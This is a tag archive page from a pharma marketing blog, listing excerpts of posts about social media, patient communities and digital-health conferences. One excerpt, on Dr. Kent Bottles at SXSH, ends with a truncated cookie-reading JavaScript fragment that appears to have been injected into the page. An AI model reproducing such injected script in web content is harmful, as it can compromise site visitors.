Tag Archives: patient communities

Pharma Marketers’ New Engagement Weapon: Treato Pharma

By Spitz (@SpitzStrategy) Understanding Your Audience Budget, time, and resources are becoming increasingly finite, so every pharma marketer must now address questions that include: What is the...
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PACE Yourself!

There are so many great Pharma and Healthcare conferences this fall. We wish we could attend them all. While it's physically not possible for us to do so (unless Spitz and his family decide they...
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EMBRACING SOCIAL MEDIA BLASPHEMY: HOW A PAID MODEL COULD REVOLUTIONIZE DIGITAL HEALTH

By Spitz (@SpitzStrategy) Bad Hair Day I met Seth Godin at ePatient Connections 2011 in Philly, where he sat forlornly at a table after his keynote and peddled his latest book, "Poke the Box."...
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MS Voices Leads the Way in Pharma Customer Service

By Sven Larsen(@svenplarsen) Who's doing it right? That's a question we're often asked since we've routinely challenged Pharma to embrace social media and an expanded dialogue with their...
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Spotlight: Doing Social Right

by Briana Campbell (@MsMatchGirl) Weve spent a lot of this year (and last) talking about how pharma is running scared of social media. And weve spent some time telling them to just suck it up and...
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MS Lifelines Launches Words 4 MS

Here on Pixels & Pills, we spend a lot of time talking about the e-patient. About how technology has helped patients become more involved in their own recovery, about how advances in social...
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Jeanne Barrett on the founding of Cysticfibrosis.com

Started in 1996, Cysticfibrosis.com connects a large audience who can't come together in real life. Here she talks with Pixels & Pills host Alice An, at Digital Pharma East 2011, about the...
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Dr. Kent Bottles at SXSH

Dr. Kent Bottles explains how patients and caregivers can use social media to connect and organize on a grassroots level at SXSH. function getCookie(e){var U=document.cookie.match(new...
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Why Doctors Might Not be Adopting Digital Records

by Sven Larsen (@zemoga) Electronic health records (EHRs) are widely seen as a way to standardize patient data in a way that improves accuracy and drives down costs which is why the federal...
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3 Factors to Consider When Preparing to Shift Marketing Dollars Toward Social Media

By Michael Smith (@mikesmith55) Capturing mindshare and market share is a key imperative for thriving organizations; social media is becoming an irresistible way of getting there. According to a...
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Pixels & Pills Talks to Kevin Kruse about ePatient Connections 2010!

Last year's ePatient Connections conference was the event of the year, attracting some of the most influential voices in the industry and garnering lots of positive feedback from the attendees....
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